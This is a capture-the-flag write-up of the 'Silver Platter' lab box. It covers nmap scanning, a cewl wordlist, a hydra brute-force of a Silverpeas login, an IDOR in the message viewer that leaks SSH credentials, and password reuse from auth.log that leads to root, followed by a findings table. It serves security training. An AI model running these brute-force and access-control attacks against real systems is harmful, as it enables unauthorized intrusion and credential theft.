☼
⌃
☰

Silver Platter

Table of Contents

Related: OSINT CeWL Brute Force Attack IDOR SSH

Description

CTF

Enumeration

Port scan

SHELL
nmap -sVC -p- -T4 10.128.179.255
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp   open  http       nginx 1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp open  http-proxy

Port 8080 fingerprints as an unrecognised HTTP service — identified manually as Silverpeas (a Java-based collaborative portal/CMS) via the login path discovered below.

Contact page — service and username disclosure

http://silverplatter.thm/#contact names the project manager's Silverpeas username directly:

If you'd like to get in touch with us, please reach out to our project manager on Silverpeas. His username is "scr1ptkiddy".

  • Service: Silverpeas
  • Username: scr1ptkiddy
  • Login endpoint: http://silverplatter.thm:8080/silverpeas/defaultLogin.jsp

Custom wordlist from site content

SHELL
cewl http://silverplatter.thm > assets/silverplatter/passwords.txt

Foothold

Password brute-force — Silverpeas login

SHELL
hydra -l scr1ptkiddy -P assets/silverplatter/passwords.txt silverplatter.thm -s 8080 \
  http-post-form "/silverpeas/AuthenticationServlet:Login=^USER^&Password=^PASS^&DomainId=0:F=Login or password incorrect"
[8080][http-post-form] host: silverplatter.thm   login: scr1ptkiddy   password: adipiscing

Authenticated to Silverpeas as scr1ptkiddy / adipiscing.

IDOR on internal notification/message viewer

RSILVERMAIL message viewer takes a sequential ID parameter with no ownership check:

TEXT
http://silverplatter.thm:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=5

Message ID=5 (from user manager) confirmed the IDOR is viable — messages belonging to other users are readable by simply changing the ID.

Message ID=6 (from user tim) disclosed SSH credentials directly:

Dude how do you always forget the SSH password? Use a password manager and quit using your silly sticky notes.

Username: tim Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

SSH access as tim

SHELL
ssh tim@silverplatter.thm
# password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

User flag captured from tim's home directory.

Privilege Escalation

Docker/Postgres credential leak in sudo logs

auth.log contains a prior sudo invocation by another user (tyler) that exposed a database password directly on the command line:

TEXT
auth.log.2:Dec 13 15:45:57 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ;
COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas \
-e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpea...

Recovered password (_Zd_zx7N823/) was reused as tyler's own system password.

Root via password reuse

SHELL
su tyler
# password: _Zd_zx7N823/
sudo su -

Root flag captured from /root/root.txt.

Flags

Flag Value Status
User flag THM{c4ca4238a0b923820dcc509a6f75849b} DONE
Root flag THM{098f6bcd4621d373cade4e832627b4f6} DONE

Findings Summary

Finding Classification Severity
Service/username disclosed via public contact page Information Disclosure Low
Weak/dictionary-guessable Silverpeas password Broken Authentication High
Internal message viewer lacks ownership check on ID parameter Broken Access Control (IDOR) High
Plaintext SSH credentials stored in an internal message Security Misconfiguration High
Database password passed via CLI, logged in plaintext in auth.log Information Disclosure Critical
System password reused from leaked docker/database credential Using Components with Known Vulnerabilities / Credential Reuse Critical

Notes

Clean linear chain: OSINT (contact page) -> targeted wordlist (cewl on site content) -> brute-force -> IDOR on internal messaging -> credential harvest -> SSH -> log-based credential leak -> password reuse -> root. No injection or memory-corruption vulnerabilities involved — every step here is either OSINT, brute-force, IDOR, or credential hygiene failure, which makes this a good contrast case against the SQLi/XSS/command-injection-heavy rooms elsewhere in the KB.

The auth.log credential-in-command-line pattern (secrets passed via -e VAR=value on a visible CLI invocation, later readable by anyone with log access) is a distinct and realistic finding worth remembering as a specific thing to check for on any box with Docker present — worth a line in a Security Misconfiguration or Credential Harvesting technique note if not already covered there.